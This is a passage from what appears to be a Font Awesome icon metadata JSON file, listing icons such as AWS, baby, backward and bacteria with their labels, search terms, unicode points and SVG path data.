.7-.2l21.3 1.3c26 1.5 50.3-12.6 62-35.8l9.6-19.1c.1-.2 .2-.3 .4-.4l43.2 102.5c2.2 5.3 1.4 11.4-2.1 16s-9.3 6.9-15 6l-56.1-8.3-32.2 49.2c-3.2 5-8.9 7.7-14.8 7.2s-11-4.3-13.3-9.7z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M173.8 5.5c11-7.3 25.4-7.3 36.4 0L228 17.2c6 3.9 13 5.8 20.1 5.4l21.3-1.3c13.2-.8 25.6 6.4 31.5 18.2l9.6 19.1c3.2 6.4 8.4 11.5 14.7 14.7L344.5 83c11.8 5.9 19 18.3 18.2 31.5l-1.3 21.3c-.4 7.1 1.5 14.2 5.4 20.1l11.8 17.8c7.3 11 7.3 25.4 0 36.4L366.8 228c-3.9 6-5.8 13-5.4 20.1l1.3 21.3c.8 13.2-6.4 25.6-18.2 31.5l-19.1 9.6c-6.4 3.2-11.5 8.4-14.7 14.7L301 344.5c-5.9 11.8-18.3 19-31.5 18.2l-21.3-1.3c-7.1-.4-14.2 1.5-20.1 5.4l-17.8 11.8c-11 7.3-25.4 7.3-36.4 0L156 366.8c-6-3.9-13-5.8-20.1-5.4l-21.3 1.3c-13.2 .8-25.6-6.4-31.5-18.2l-9.6-19.1c-3.2-6.4-8.4-11.5-14.7-14.7L39.5 301c-11.8-5.9-19-18.3-18.2-31.5l1.3-21.3c.4-7.1-1.5-14.2-5.4-20.1L5.5 210.2c-7.3-11-7.3-25.4 0-36.4L17.2 156c3.9-6 5.8-13 5.4-20.1l-1.3-21.3c-.8-13.2 6.4-25.6 18.2-31.5l19.1-9.6C65 70.2 70.2 65 73.4 58.6L83 39.5c5.9-11.8 18.3-19 31.5-18.2l21.3 1.3c7.1 .4 14.2-1.5 20.1-5.4L173.8 5.5zM272 192a80 80 0 1 0 -160 0 80 80 0 1 0 160 0zM1.3 441.8L44.4 339.3c.2 .1 .3 .2 .4 .4l9.6 19.1c11.7 23.2 36 37.3 62 35.8l21.3-1.3c.2 0 .5 0 .7 .2l17.8 11.8c5.1 3.3 10.5 5.9 16.1 7.7l-37.6 89.3c-2.3 5.5-7.4 9.2-13.3 9.7s-11.6-2.2-14.8-7.2L74.4 455.5l-56.1 8.3c-5.7 .8-11.4-1.5-15-6s-4.3-10.7-2.1-16zm248 60.4L211.7 413c5.6-1.8 11-4.3 16.1-7.7l17.8-11.8c.2-.1 .4-.2 .7-.2l21.3 1.3c26 1.5 50.3-12.6 62-35.8l9.6-19.1c.1-.2 .2-.3 .4-.4l43.2 102.5c2.2 5.3 1.4 11.4-2.1 16s-9.3 6.9-15 6l-56.1-8.3-32.2 49.2c-3.2 5-8.9 7.7-14.8 7.2s-11-4.3-13.3-9.7z"
      }
    },
    "free": ["solid"]
  },
  "aws": {
    "changes": ["5.0.0", "5.1.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f375",
    "label": "Amazon Web Services (AWS)",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014482,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M180.41 203.01c-.72 22.65 10.6 32.68 10.88 39.05a8.164 8.164 0 0 1-4.1 6.27l-12.8 8.96a10.66 10.66 0 0 1-5.63 1.92c-.43-.02-8.19 1.83-20.48-25.61a78.608 78.608 0 0 1-62.61 29.45c-16.28.89-60.4-9.24-58.13-56.21-1.59-38.28 34.06-62.06 70.93-60.05 7.1.02 21.6.37 46.99 6.27v-15.62c2.69-26.46-14.7-46.99-44.81-43.91-2.4.01-19.4-.5-45.84 10.11-7.36 3.38-8.3 2.82-10.75 2.82-7.41 0-4.36-21.48-2.94-24.2 5.21-6.4 35.86-18.35 65.94-18.18a76.857 76.857 0 0 1 55.69 17.28 70.285 70.285 0 0 1 17.67 52.36l-.01 69.29zM93.99 235.4c32.43-.47 46.16-19.97 49.29-30.47 2.46-10.05 2.05-16.41 2.05-27.4-9.67-2.32-23.59-4.85-39.56-4.87-15.15-1.14-42.82 5.63-41.74 32.26-1.24 16.79 11.12 31.4 29.96 30.48zm170.92 23.05c-7.86.72-11.52-4.86-12.68-10.37l-49.8-164.65c-.97-2.78-1.61-5.65-1.92-8.58a4.61 4.61 0 0 1 3.86-5.25c.24-.04-2.13 0 22.25 0 8.78-.88 11.64 6.03 12.55 10.37l35.72 140.83 33.16-140.83c.53-3.22 2.94-11.07 12.8-10.24h17.16c2.17-.18 11.11-.5 12.68 10.37l33.42 142.63L420.98 80.1c.48-2.18 2.72-11.37 12.68-10.37h19.72c.85-.13 6.15-.81 5.25 8.58-.43 1.85 3.41-10.66-52.75 169.9-1.15 5.51-4.82 11.09-12.68 10.37h-18.69c-10.94 1.15-12.51-9.66-12.68-10.75L328.67 110.7l-32.78 136.99c-.16 1.09-1.73 11.9-12.68 10.75h-18.3zm273.48 5.63c-5.88.01-33.92-.3-57.36-12.29a12.802 12.802 0 0 1-7.81-11.91v-10.75c0-8.45 6.2-6.9 8.83-5.89 10.04 4.06 16.48 7.14 28.81 9.6 36.65 7.53 52.77-2.3 56.72-4.48 13.15-7.81 14.19-25.68 5.25-34.95-10.48-8.79-15.48-9.12-53.13-21-4.64-1.29-43.7-13.61-43.79-52.36-.61-28.24 25.05-56.18 69.52-55.95 12.67-.01 46.43 4.13 55.57 15.62 1.35 2.09 2.02 4.55 1.92 7.04v10.11c0 4.44-1.62 6.66-4.87 6.66-7.71-.86-21.39-11.17-49.16-10.75-6.89-.36-39.89.91-38.41 24.97-.43 18.96 26.61 26.07 29.7 26.89 36.46 10.97 48.65 12.79 63.12 29.58 17.14 22.25 7.9 48.3 4.35 55.44-19.08 37.49-68.42 34.44-69.26 34.42zm40.2 104.86c-70.03 51.72-171.69 79.25-258.49 79.25A469.127 469.127 0 0 1 2.83 327.46c-6.53-5.89-.77-13.96 7.17-9.47a637.37 637.37 0 0 0 316.88 84.12 630.22 630.22 0 0 0 241.59-49.55c11.78-5 21.77 7.8 10.12 16.38zm29.19-33.29c-8.96-11.52-59.28-5.38-81.81-2.69-6.79.77-7.94-5.12-1.79-9.47 40.07-28.17 105.88-20.1 113.44-10.63 7.55 9.47-2.05 75.41-39.56 106.91-5.76 4.87-11.27 2.3-8.71-4.1 8.44-21.25 27.39-68.49 18.43-80.02z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M180.41 203.01c-.72 22.65 10.6 32.68 10.88 39.05a8.164 8.164 0 0 1-4.1 6.27l-12.8 8.96a10.66 10.66 0 0 1-5.63 1.92c-.43-.02-8.19 1.83-20.48-25.61a78.608 78.608 0 0 1-62.61 29.45c-16.28.89-60.4-9.24-58.13-56.21-1.59-38.28 34.06-62.06 70.93-60.05 7.1.02 21.6.37 46.99 6.27v-15.62c2.69-26.46-14.7-46.99-44.81-43.91-2.4.01-19.4-.5-45.84 10.11-7.36 3.38-8.3 2.82-10.75 2.82-7.41 0-4.36-21.48-2.94-24.2 5.21-6.4 35.86-18.35 65.94-18.18a76.857 76.857 0 0 1 55.69 17.28 70.285 70.285 0 0 1 17.67 52.36l-.01 69.29zM93.99 235.4c32.43-.47 46.16-19.97 49.29-30.47 2.46-10.05 2.05-16.41 2.05-27.4-9.67-2.32-23.59-4.85-39.56-4.87-15.15-1.14-42.82 5.63-41.74 32.26-1.24 16.79 11.12 31.4 29.96 30.48zm170.92 23.05c-7.86.72-11.52-4.86-12.68-10.37l-49.8-164.65c-.97-2.78-1.61-5.65-1.92-8.58a4.61 4.61 0 0 1 3.86-5.25c.24-.04-2.13 0 22.25 0 8.78-.88 11.64 6.03 12.55 10.37l35.72 140.83 33.16-140.83c.53-3.22 2.94-11.07 12.8-10.24h17.16c2.17-.18 11.11-.5 12.68 10.37l33.42 142.63L420.98 80.1c.48-2.18 2.72-11.37 12.68-10.37h19.72c.85-.13 6.15-.81 5.25 8.58-.43 1.85 3.41-10.66-52.75 169.9-1.15 5.51-4.82 11.09-12.68 10.37h-18.69c-10.94 1.15-12.51-9.66-12.68-10.75L328.67 110.7l-32.78 136.99c-.16 1.09-1.73 11.9-12.68 10.75h-18.3zm273.48 5.63c-5.88.01-33.92-.3-57.36-12.29a12.802 12.802 0 0 1-7.81-11.91v-10.75c0-8.45 6.2-6.9 8.83-5.89 10.04 4.06 16.48 7.14 28.81 9.6 36.65 7.53 52.77-2.3 56.72-4.48 13.15-7.81 14.19-25.68 5.25-34.95-10.48-8.79-15.48-9.12-53.13-21-4.64-1.29-43.7-13.61-43.79-52.36-.61-28.24 25.05-56.18 69.52-55.95 12.67-.01 46.43 4.13 55.57 15.62 1.35 2.09 2.02 4.55 1.92 7.04v10.11c0 4.44-1.62 6.66-4.87 6.66-7.71-.86-21.39-11.17-49.16-10.75-6.89-.36-39.89.91-38.41 24.97-.43 18.96 26.61 26.07 29.7 26.89 36.46 10.97 48.65 12.79 63.12 29.58 17.14 22.25 7.9 48.3 4.35 55.44-19.08 37.49-68.42 34.44-69.26 34.42zm40.2 104.86c-70.03 51.72-171.69 79.25-258.49 79.25A469.127 469.127 0 0 1 2.83 327.46c-6.53-5.89-.77-13.96 7.17-9.47a637.37 637.37 0 0 0 316.88 84.12 630.22 630.22 0 0 0 241.59-49.55c11.78-5 21.77 7.8 10.12 16.38zm29.19-33.29c-8.96-11.52-59.28-5.38-81.81-2.69-6.79.77-7.94-5.12-1.79-9.47 40.07-28.17 105.88-20.1 113.44-10.63 7.55 9.47-2.05 75.41-39.56 106.91-5.76 4.87-11.27 2.3-8.71-4.1 8.44-21.25 27.39-68.49 18.43-80.02z"
      }
    },
    "free": ["brands"]
  },
  "b": {
    "aliases": {
      "unicodes": {
        "composite": ["62"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter B", "Latin Small Letter B", "letter"]
    },
    "styles": ["solid"],
    "unicode": "42",
    "label": "B",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V256 416c0 35.3 28.7 64 64 64H192c70.7 0 128-57.3 128-128c0-46.5-24.8-87.3-62-109.7c18.7-22.3 30-51 30-82.3c0-70.7-57.3-128-128-128H64zm96 192H64V96h96c35.3 0 64 28.7 64 64s-28.7 64-64 64zM64 288h96 32c35.3 0 64 28.7 64 64s-28.7 64-64 64H64V288z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V256 416c0 35.3 28.7 64 64 64H192c70.7 0 128-57.3 128-128c0-46.5-24.8-87.3-62-109.7c18.7-22.3 30-51 30-82.3c0-70.7-57.3-128-128-128H64zm96 192H64V96h96c35.3 0 64 28.7 64 64s-28.7 64-64 64zM64 288h96 32c35.3 0 64 28.7 64 64s-28.7 64-64 64H64V288z"
      }
    },
    "free": ["solid"]
  },
  "baby": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f77c"]
      }
    },
    "changes": ["5.6.0", "5.10.1", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["users-people"]
    },
    "styles": ["solid"],
    "unicode": "f77c",
    "label": "Baby",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M152 88a72 72 0 1 1 144 0A72 72 0 1 1 152 88zM39.7 144.5c13-17.9 38-21.8 55.9-8.8L131.8 162c26.8 19.5 59.1 30 92.2 30s65.4-10.5 92.2-30l36.2-26.4c17.9-13 42.9-9 55.9 8.8s9 42.9-8.8 55.9l-36.2 26.4c-13.6 9.9-28.1 18.2-43.3 25V288H128V251.7c-15.2-6.7-29.7-15.1-43.3-25L48.5 200.3c-17.9-13-21.8-38-8.8-55.9zm89.8 184.8l60.6 53-26 37.2 24.3 24.3c15.6 15.6 15.6 40.9 0 56.6s-40.9 15.6-56.6 0l-48-48C70 438.6 68.1 417 79.2 401.1l50.2-71.8zm128.5 53l60.6-53 50.2 71.8c11.1 15.9 9.2 37.5-4.5 51.2l-48 48c-15.6 15.6-40.9 15.6-56.6 0s-15.6-40.9 0-56.6L284 419.4l-26-37.2z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M152 88a72 72 0 1 1 144 0A72 72 0 1 1 152 88zM39.7 144.5c13-17.9 38-21.8 55.9-8.8L131.8 162c26.8 19.5 59.1 30 92.2 30s65.4-10.5 92.2-30l36.2-26.4c17.9-13 42.9-9 55.9 8.8s9 42.9-8.8 55.9l-36.2 26.4c-13.6 9.9-28.1 18.2-43.3 25V288H128V251.7c-15.2-6.7-29.7-15.1-43.3-25L48.5 200.3c-17.9-13-21.8-38-8.8-55.9zm89.8 184.8l60.6 53-26 37.2 24.3 24.3c15.6 15.6 15.6 40.9 0 56.6s-40.9 15.6-56.6 0l-48-48C70 438.6 68.1 417 79.2 401.1l50.2-71.8zm128.5 53l60.6-53 50.2 71.8c11.1 15.9 9.2 37.5-4.5 51.2l-48 48c-15.6 15.6-40.9 15.6-56.6 0s-15.6-40.9 0-56.6L284 419.4l-26-37.2z"
      }
    },
    "free": ["solid"]
  },
  "baby-carriage": {
    "aliases": {
      "names": ["carriage-baby"],
      "unicodes": {
        "secondary": ["10f77d"]
      }
    },
    "changes": [
      "5.6.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "buggy",
        "carrier",
        "infant",
        "push",
        "stroller",
        "transportation",
        "walk",
        "wheels"
      ]
    },
    "styles": ["solid"],
    "unicode": "f77d",
    "label": "Baby Carriage",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 192H.1C2.7 117.9 41.3 52.9 99 14.1c13.3-8.9 30.8-4.3 39.9 8.8L256 192zm128-32c0-35.3 28.7-64 64-64h32c17.7 0 32 14.3 32 32s-14.3 32-32 32l-32 0v64c0 25.2-5.8 50.2-17 73.5s-27.8 44.5-48.6 62.3s-45.5 32-72.7 41.6S253.4 416 224 416s-58.5-5-85.7-14.6s-51.9-23.8-72.7-41.6s-37.3-39-48.6-62.3S0 249.2 0 224l224 0 160 0V160zM80 416a48 48 0 1 1 0 96 48 48 0 1 1 0-96zm240 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 192H.1C2.7 117.9 41.3 52.9 99 14.1c13.3-8.9 30.8-4.3 39.9 8.8L256 192zm128-32c0-35.3 28.7-64 64-64h32c17.7 0 32 14.3 32 32s-14.3 32-32 32l-32 0v64c0 25.2-5.8 50.2-17 73.5s-27.8 44.5-48.6 62.3s-45.5 32-72.7 41.6S253.4 416 224 416s-58.5-5-85.7-14.6s-51.9-23.8-72.7-41.6s-37.3-39-48.6-62.3S0 249.2 0 224l224 0 160 0V160zM80 416a48 48 0 1 1 0 96 48 48 0 1 1 0-96zm240 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0z"
      }
    },
    "free": ["solid"]
  },
  "backward": {
    "aliases": {
      "unicodes": {
        "composite": ["23ea"],
        "secondary": ["10f04a"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "double", "fast reverse button", "previous", "rewind"]
    },
    "styles": ["solid"],
    "unicode": "f04a",
    "label": "Backward",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766677,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M459.5 440.6c9.5 7.9 22.8 9.7 34.1 4.4s18.4-16.6 18.4-29V96c0-12.4-7.2-23.7-18.4-29s-24.5-3.6-34.1 4.4L288 214.3V256v41.7L459.5 440.6zM256 352V256 128 96c0-12.4-7.2-23.7-18.4-29s-24.5-3.6-34.1 4.4l-192 160C4.2 237.5 0 246.5 0 256s4.2 18.5 11.5 24.6l192 160c9.5 7.9 22.8 9.7 34.1 4.4s18.4-16.6 18.4-29V352z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M459.5 440.6c9.5 7.9 22.8 9.7 34.1 4.4s18.4-16.6 18.4-29V96c0-12.4-7.2-23.7-18.4-29s-24.5-3.6-34.1 4.4L288 214.3V256v41.7L459.5 440.6zM256 352V256 128 96c0-12.4-7.2-23.7-18.4-29s-24.5-3.6-34.1 4.4l-192 160C4.2 237.5 0 246.5 0 256s4.2 18.5 11.5 24.6l192 160c9.5 7.9 22.8 9.7 34.1 4.4s18.4-16.6 18.4-29V352z"
      }
    },
    "free": ["solid"]
  },
  "backward-fast": {
    "aliases": {
      "names": ["fast-backward"],
      "unicodes": {
        "composite": ["23ee"],
        "secondary": ["10f049"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "arrow",
        "beginning",
        "first",
        "last track button",
        "previous",
        "previous scene",
        "previous track",
        "rewind",
        "start",
        "triangle"
      ]
    },
    "styles": ["solid"],
    "unicode": "f049",
    "label": "Backward Fast",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M493.6 445c-11.2 5.3-24.5 3.6-34.1-4.4L288 297.7V416c0 12.4-7.2 23.7-18.4 29s-24.5 3.6-34.1-4.4L64 297.7V416c0 17.7-14.3 32-32 32s-32-14.3-32-32V96C0 78.3 14.3 64 32 64s32 14.3 32 32V214.3L235.5 71.4c9.5-7.9 22.8-9.7 34.1-4.4S288 83.6 288 96V214.3L459.5 71.4c9.5-7.9 22.8-9.7 34.1-4.4S512 83.6 512 96V416c0 12.4-7.2 23.7-18.4 29z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M493.6 445c-11.2 5.3-24.5 3.6-34.1-4.4L288 297.7V416c0 12.4-7.2 23.7-18.4 29s-24.5 3.6-34.1-4.4L64 297.7V416c0 17.7-14.3 32-32 32s-32-14.3-32-32V96C0 78.3 14.3 64 32 64s32 14.3 32 32V214.3L235.5 71.4c9.5-7.9 22.8-9.7 34.1-4.4S288 83.6 288 96V214.3L459.5 71.4c9.5-7.9 22.8-9.7 34.1-4.4S512 83.6 512 96V416c0 12.4-7.2 23.7-18.4 29z"
      }
    },
    "free": ["solid"]
  },
  "backward-step": {
    "aliases": {
      "names": ["step-backward"],
      "unicodes": {
        "secondary": ["10f048"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.10.2",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["beginning", "first", "previous", "rewind", "start"]
    },
    "styles": ["solid"],
    "unicode": "f048",
    "label": "Backward Step",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M267.5 440.6c9.5 7.9 22.8 9.7 34.1 4.4s18.4-16.6 18.4-29V96c0-12.4-7.2-23.7-18.4-29s-24.5-3.6-34.1 4.4l-192 160L64 241V96c0-17.7-14.3-32-32-32S0 78.3 0 96V416c0 17.7 14.3 32 32 32s32-14.3 32-32V271l11.5 9.6 192 160z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M267.5 440.6c9.5 7.9 22.8 9.7 34.1 4.4s18.4-16.6 18.4-29V96c0-12.4-7.2-23.7-18.4-29s-24.5-3.6-34.1 4.4l-192 160L64 241V96c0-17.7-14.3-32-32-32S0 78.3 0 96V416c0 17.7 14.3 32 32 32s32-14.3 32-32V271l11.5 9.6 192 160z"
      }
    },
    "free": ["solid"]
  },
  "bacon": {
    "aliases": {
      "unicodes": {
        "composite": ["1f953"],
        "secondary": ["10f7e5"]
      }
    },
    "changes": ["5.7.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bacon",
        "blt",
        "breakfast",
        "food",
        "ham",
        "lard",
        "meat",
        "pancetta",
        "pork",
        "rasher"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7e5",
    "label": "Bacon",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767421,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M439.2 1.2c11.2-3.2 23.2-.1 31.4 8.1L518 56.7l-26.5 7.9c-58 16.6-98.1 39.6-129.6 67.4c-31.2 27.5-53.2 59.1-75.1 90.9l-2.3 3.3C241.6 288.7 195 356.6 72.8 417.7L37.9 435.2 9.4 406.6c-7.3-7.3-10.6-17.6-9-27.8s8.1-18.9 17.3-23.5C136.1 296.2 180.9 231 223.3 169.3l2.3-3.4c21.8-31.8 44.9-64.9 77.7-93.9c33.4-29.5 75.8-53.6 135.9-70.8zM61.8 459l25.4-12.7c129.5-64.7 179.9-138.1 223.8-202l2.2-3.3c22.1-32.1 42.1-60.5 69.9-85.1c27.5-24.3 63.4-45.2 117.3-60.6l0 0 .2-.1 43.1-12.9 23 23c8 8 11.2 19.7 8.3 30.7s-11.3 19.6-22.2 22.7c-51.9 14.8-85.6 34.7-111.1 57.2c-26.1 23-45.1 49.9-67.3 82.1l-2.2 3.2C327.8 365.9 275.5 442 142.3 508.6c-12.3 6.2-27.2 3.7-36.9-6L61.8 459z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M439.2 1.2c11.2-3.2 23.2-.1 31.4 8.1L518 56.7l-26.5 7.9c-58 16.6-98.1 39.6-129.6 67.4c-31.2 27.5-53.2 59.1-75.1 90.9l-2.3 3.3C241.6 288.7 195 356.6 72.8 417.7L37.9 435.2 9.4 406.6c-7.3-7.3-10.6-17.6-9-27.8s8.1-18.9 17.3-23.5C136.1 296.2 180.9 231 223.3 169.3l2.3-3.4c21.8-31.8 44.9-64.9 77.7-93.9c33.4-29.5 75.8-53.6 135.9-70.8zM61.8 459l25.4-12.7c129.5-64.7 179.9-138.1 223.8-202l2.2-3.3c22.1-32.1 42.1-60.5 69.9-85.1c27.5-24.3 63.4-45.2 117.3-60.6l0 0 .2-.1 43.1-12.9 23 23c8 8 11.2 19.7 8.3 30.7s-11.3 19.6-22.2 22.7c-51.9 14.8-85.6 34.7-111.1 57.2c-26.1 23-45.1 49.9-67.3 82.1l-2.2 3.2C327.8 365.9 275.5 442 142.3 508.6c-12.3 6.2-27.2 3.7-36.9-6L61.8 459z"
      }
    },
    "free": ["solid"]
  },
  "bacteria": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e059"]
      }
    },
    "changes": [
      "5.13.0",
      "5.13.1",
      "5.14.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "antibiotic",
        "antibody",
        "covid-19",
        "health",
        "organism",
        "sick"
      ]
    },
    "styles": ["solid"],
    "unicode": "e059",
    "label": "Bacteria",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M304.9 .7c-9.6-2.7-19.5 2.8-22.3 12.4l-4.3 15.2c-8.3-.6-16.8 0-25.2 1.9c-7.3 1.7-14.3 3.5-21.1 5.5l-5.5-12.7c-3.9-9.1-14.5-13.4-23.6-9.5s-13.4 14.5-9.5 23.6l4.4 10.4c-16.6 6.7-31.7 14.4-45.4 22.8L147 62c-5.5-8.3-16.7-10.5-25-5s-10.5 16.7-5 25l6 9c-13.7 11-25.5 22.8-35.8 34.9l-10-8c-7.8-6.2-19.1-5-25.3 2.8s-5 19.1 2.8 25.3L65.9 155c-1.8 2.8-3.5 5.7-5.1 8.5c-6.6 11.4-11.8 22.6-16 33l-8-3.2c-9.2-3.7-19.7 .8-23.4 10s.8 19.7 10 23.4l10.4 4.2c-.2 .8-.4 1.5-.5 2.3c-2.2 9.3-3.4 17.3-4.1 23.4c-.4 3.1-.6 5.7-.8 7.8c-.1 1.1-.1 2-.2 2.8l-.1 1.1 0 .5 0 .2 0 .1c0 0 0 .1 29.1 1l-.1 0L28 269.3c-.1 3.1 0 6.1 .2 9.1l-15.2 4.3C3.5 285.4-2 295.4 .7 304.9s12.7 15.1 22.3 12.4l15.6-4.5c7.6 13.6 18.9 25 32.6 32.6L66.7 361c-2.7 9.6 2.8 19.5 12.4 22.3s19.5-2.8 22.3-12.4l4.3-15.2c1.2 .1 2.4 .2 3.6 .2c15.6 .5 30.3-3.3 43-10.2l9 9c7 7 18.4 7 25.5 0s7-18.4 0-25.5l-7.2-7.2c9.3-12.6 15.2-27.8 16.3-44.5l7.1 3c9.1 3.9 19.7-.3 23.6-9.5s-.3-19.7-9.5-23.6l-8.6-3.7c6.4-9.9 17.3-22.4 36.9-33.3l1.3 4.4c2.7 9.6 12.7 15.1 22.3 12.4s15.1-12.7 12.4-22.3l-2.3-8.1c3.8-1.1 7.7-2.1 11.9-3.1c11.6-2.7 22.1-7.7 31.1-14.4l7.2 7.2c7 7 18.4 7 25.5 0s7-18.4 0-25.5l-9-9c7.6-13.9 11.3-30.1 10.1-46.6l15.2-4.3c9.6-2.7 15.1-12.7 12.4-22.3S370.6 64 361 66.7l-15.6 4.5c-7.7-13.9-19.1-25.1-32.6-32.6l4.5-15.6c2.7-9.6-2.8-19.5-12.4-22.3zM112 272l-48-1.5 0 0c11.7 .4 27.3 .9 48 1.6zm16-80a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm64-48a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zM322.7 489c-2.7 9.6 2.8 19.5 12.4 22.3s19.5-2.8 22.2-12.4l4.3-15.2c8.3 .6 16.8 0 25.2-1.9c7.3-1.7 14.3-3.5 21.1-5.5l5.5 12.7c3.9 9.1 14.5 13.4 23.6 9.5s13.4-14.5 9.5-23.6l-4.4-10.4c16.6-6.7 31.7-14.4 45.4-22.8L493 450c5.5 8.3 16.7 10.5 25 5s10.5-16.7 5-25l-6-9c13.7-11 25.5-22.8 35.8-34.9l10 8c7.8 6.2 19.1 5 25.3-2.8s5-19.1-2.8-25.3L574.1 357c1.8-2.8 3.5-5.7 5.1-8.5c6.6-11.4 11.8-22.6 16-33l8 3.2c9.2 3.7 19.7-.8 23.4-10s-.8-19.7-10-23.4l-10.4-4.2c.2-.8 .4-1.5 .5-2.3c2.2-9.3 3.4-17.3 4.1-23.4c.4-3.1 .6-5.7 .8-7.8c.1-1.1 .1-2 .2-2.8l.1-1.1 0-.5 0-.2 0-.1c0 0 0-.1-29.1-1l.1 0 29.1 .9c.1-3.1 0-6.1-.2-9.1l15.2-4.3c9.6-2.7 15.1-12.7 12.4-22.3s-12.7-15.1-22.3-12.4l-15.6 4.5c-7.6-13.6-18.9-25-32.6-32.6l4.5-15.6c2.7-9.6-2.8-19.5-12.4-22.3s-19.5 2.8-22.3 12.4l-4.3 15.2c-1.2-.1-2.4-.2-3.6-.2c-15.6-.5-30.3 3.3-43 10.2l-9-9c-7-7-18.4-7-25.5 0s-7 18.4 0 25.5l7.2 7.2c-9.3 12.6-15.2 27.8-16.3 44.5l-7.1-3c-9.1-3.9-19.7 .3-23.6 9.5s.3 19.7 9.5 23.6l8.6 3.7c-6.4 9.9-17.3 22.4-36.9 33.3l-1.3-4.4c-2.7-9.6-12.7-15.1-22.3-12.4s-15.1 12.7-12.4 22.3l2.3 8.1c-3.8 1.1-7.7 2.1-11.9 3.1c-11.6 2.7-22.1 7.7-31.1 14.4l-7.2-7.2c-7-7-18.4-7-25.5 0s-7 18.4 0 25.5l9 9c-7.6 13.9-11.3 30.1-10.1 46.6l-15.2 4.3c-9.6 2.7-15.1 12.7-12.4 22.2s12.7 15.1 22.3 12.4l15.6-4.5c7.7 13.9 19.1 25.1 32.6 32.6L322.7 489zM576 241.5l0 0c-11.7-.4-27.3-.9-48-1.6l48 1.5zM448 384a32 32 0 1 1 -64 0 32 32 0 1 1 64 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
